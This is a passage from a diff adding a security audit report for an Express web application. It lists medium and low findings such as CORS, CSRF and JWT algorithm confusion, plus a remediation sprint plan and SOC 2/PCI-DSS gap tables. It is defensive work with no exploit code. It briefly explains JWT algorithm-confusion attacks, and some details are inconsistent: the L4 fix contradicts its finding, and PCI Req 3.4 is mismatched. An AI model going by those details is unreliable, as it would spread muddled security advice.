+ app.use((err, req, res, next) => {
292
+ securityLogger.error('unhandled_error', { error: err.message, stack: err.stack, url: req.originalUrl });
293
+ res.status(500).json({ error: 'An internal error occurred. Please try again later.' });
294
+ });
295
+ ```
296
+
297
+ #### M2: Missing Security Headers
298
+ - **OWASP:** A05 — Security Misconfiguration
299
+ - **CVSS:** 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N)
300
+ - **File:** `src/api/app.js`
301
+ - **Description:** Application does not set Content-Security-Policy, X-Content-Type-Options, X-Frame-Options, or Strict-Transport-Security headers.
302
+
303
+ **Remediation:** Add `helmet` middleware with strict CSP configuration.
304
+
305
+ #### M3: Weak Password Policy
306
+ - **OWASP:** A07 — Identification and Authentication Failures
307
+ - **CVSS:** 5.9 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)
308
+ - **File:** `src/api/validators/userValidator.js:8`
309
+ - **Description:** Password policy only requires 6 characters with no complexity or breach-checking requirements. Common passwords like "password123456" are accepted.
310
+
311
+ **Remediation:** Require minimum 12 characters and integrate `zxcvbn` strength scoring.
312
+
313
+ #### M4: Session Not Invalidated on Logout
314
+ - **OWASP:** A07 — Identification and Authentication Failures
315
+ - **CVSS:** 4.8 (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N)
316
+ - **File:** `src/api/controllers/authController.js:67`
317
+ - **Description:** The logout endpoint removes the token from the client but does not invalidate it server-side. Captured tokens remain valid until expiration (24 hours).
318
+
319
+ **Remediation:** Add JWT token ID (`jti`) to a Redis denylist on logout, check denylist on every authenticated request.
320
+
321
+ #### M5: Missing CSRF Protection on State-Changing Endpoints
322
+ - **OWASP:** A01 — Broken Access Control
323
+ - **CVSS:** 6.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)
324
+ - **File:** `src/api/routes/*.js`
325
+ - **Description:** POST/PUT/DELETE endpoints rely solely on JWT Bearer tokens. SameSite cookie attribute is not set, and no CSRF token mechanism exists. If the JWT is stored in a cookie (which it is for SSR pages), cross-site form submissions can perform actions.
326
+
327
+ **Remediation:** Set `SameSite=Lax` on session cookies and implement double-submit cookie CSRF pattern.
328
+
329
+ #### M6: Permissive CORS Configuration
330
+ - **OWASP:** A05 — Security Misconfiguration
331
+ - **CVSS:** 5.4 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N)
332
+ - **File:** `src/api/app.js:18`
333
+ - **Description:** CORS is configured with `origin: true`, which reflects any requesting origin. Combined with `credentials: true`, this allows any website to make authenticated API requests on behalf of logged-in users.
334
+
335
+ **Remediation:** Restrict `origin` to explicit list of allowed domains.
336
+
337
+ #### M7: No Audit Logging
338
+ - **OWASP:** A09 — Security Logging and Monitoring Failures
339
+ - **CVSS:** 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)
340
+ - **File:** N/A (missing implementation)
341
+ - **Description:** No security event logging for authentication attempts, authorization failures, or sensitive data access. This prevents detection of active attacks and makes incident investigation impossible.
342
+
343
+ **Remediation:** Implement structured security logging with Winston. Log all auth events, access control decisions, and input validation failures.
344
+
345
+ #### M8: JWT Algorithm Not Enforced
346
+ - **OWASP:** A02 — Cryptographic Failures
347
+ - **CVSS:** 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
348
+ - **File:** `src/api/middleware/auth.js:14`
349
+ - **Description:** JWT verification does not specify `algorithms` option, making it vulnerable to algorithm confusion attacks where an attacker uses the `none` algorithm or switches from RS256 to HS256 using the public key as the HMAC secret.
350
+
351
+ **Remediation:**
352
+ ```javascript
353
+ jwt.verify(token, secret, { algorithms: ['HS256'] });
354
+ ```
355
+
356
+ ---
357
+
358
+ ### Low Findings
359
+
360
+ #### L1: Server Version Disclosure
361
+ - **CVSS:** 2.6
362
+ - **Description:** `X-Powered-By: Express` header reveals server technology.
363
+ - **Remediation:** `app.disable('x-powered-by')` or use `helmet()`.
364
+
365
+ #### L2: Cookie Missing `__Host-` Prefix
366
+ - **CVSS:** 2.4
367
+ - **Description:** Session cookie name is `sid` instead of using the `__Host-` prefix, which enforces `Secure`, `Path=/`, and no `Domain` attribute.
368
+ - **Remediation:** Rename cookie to `__Host-sid`.
369
+
370
+ #### L3: Missing `Referrer-Policy` Header
371
+ - **CVSS:** 2.1
372
+ - **Description:** No Referrer-Policy set; sensitive URL parameters may leak via Referer header to external sites.
373
+ - **Remediation:** Set `Referrer-Policy: strict-origin-when-cross-origin`.
374
+
375
+ #### L4: Autocomplete Not Disabled on Payment Forms
376
+ - **CVSS:** 1.8
377
+ - **Description:** Credit card input fields do not set `autocomplete="off"`, potentially caching card numbers in browser storage.
378
+ - **Remediation:** Add `autocomplete="cc-number"` with appropriate values per PCI-DSS guidance (browsers may still autocomplete but it satisfies compliance).
379
+
380
+ ---
381
+
382
+ ## Remediation Plan
383
+
384
+ ### Sprint 1 — Critical Fixes (Week 1)
385
+
386
+ | # | Finding | Owner | Status |
387
+ |---|---|---|---|
388
+ | C5 | Rotate and remove hardcoded Stripe key | DevOps + Backend | Day 1 — Immediate |
389
+ | C1 | Parameterize SQL in product search | Backend | Day 1-2 |
390
+ | C2 | Add ownership checks to user endpoints | Backend | Day 2-3 |
391
+ | C3 | Implement login rate limiting | Backend | Day 3 |
392
+ | C4 | Sanitize comment rendering | Frontend | Day 3-4 |
393
+ | — | Update container base image (runc CVE) | DevOps | Day 1 |
394
+ | — | Upgrade jsonwebtoken, express, node-fetch | Backend | Day 2 |
395
+
396
+ ### Sprint 2 — Medium Fixes (Week 2-3)
397
+
398
+ | # | Finding | Owner | Status |
399
+ |---|---|---|---|
400
+ | M8 | Enforce JWT algorithm validation | Backend | Week 2 |
401
+ | M5 | Implement CSRF protection | Backend | Week 2 |
402
+ | M6 | Restrict CORS to explicit origins | Backend | Week 2 |
403
+ | M1 | Sanitize production error responses | Backend | Week 2 |
404
+ | M2 | Add security headers via helmet | Backend | Week 2 |
405
+ | M3 | Strengthen password policy | Backend | Week 3 |
406
+ | M4 | Implement server-side session invalidation | Backend | Week 3 |
407
+ | M7 | Add structured security logging | Backend | Week 3 |
408
+
409
+ ### Sprint 3 — Low Fixes & Hardening (Week 4)
410
+
411
+ | # | Finding | Owner | Status |
412
+ |---|---|---|---|
413
+ | L1-L4 | All low findings | Backend + Frontend | Week 4 |
414
+ | — | Add detect-secrets pre-commit hook | DevOps | Week 4 |
415
+ | — | Enable Semgrep in CI pipeline | DevOps | Week 4 |
416
+ | — | Add Trivy container scan to deploy gate | DevOps | Week 4 |
417
+ | — | Security awareness training for dev team | Security | Week 4 |
418
+
419
+ ---
420
+
421
+ ## Compliance Gap Analysis
422
+
423
+ ### SOC 2 Controls Needing Attention
424
+
425
+ | Control | Gap | Remediation |
426
+ |---|---|---|
427
+ | CC6.1 — Logical access security | IDOR allows unauthorized data access (C2) | Implement ownership verification on all endpoints |
428
+ | CC7.2 — System monitoring | No security event logging (M7) | Deploy structured security logging with alerting |
429
+ | CC6.6 — Threats from external sources | Missing rate limiting (C3), permissive CORS (M6) | Implement rate limiting and restrict CORS |
430
+
431
+ ### PCI-DSS v4.0 Gaps
432
+
433
+ | Requirement | Gap | Remediation |
434
+ |---|---|---|
435
+ | Req 3.4 — Render PAN unreadable | Hardcoded Stripe key in source (C5) | Rotate key, use environment variables, add secret scanning |
436
+ | Req 6.2 — Secure development | SQL injection (C1), XSS (C4) present | Fix vulnerabilities, add SAST to CI pipeline |
437
+ | Req 8.3 — Strong authentication | Weak password policy (M3), no lockout (C3) | Implement 12-char policy with breach checking, add rate limiting |
438
+ | Req 10.2 — Audit trail | No security logging (M7) | Implement comprehensive audit logging |
439
+
440
+ ---
441
+
442
+ ## Recommendations
443
+
444
+ 1. **Immediate:** Rotate the exposed Stripe API key and audit Stripe logs for unauthorized activity
445
+ 2. **Short-term:** Fix all Critical findings before next production deployment
446
+ 3. **Medium-term:** Establish security testing in CI/CD (Semgrep, npm audit, Trivy) to prevent regression
447
+ 4. **Long-term:** Implement threat modeling for new features, schedule quarterly security reviews, and conduct annual penetration testing
448
+
449
+ ---
450
+
451
+ *Report generated as part of pre-SOC 2 security assessment. Next audit scheduled: Q3 2026.*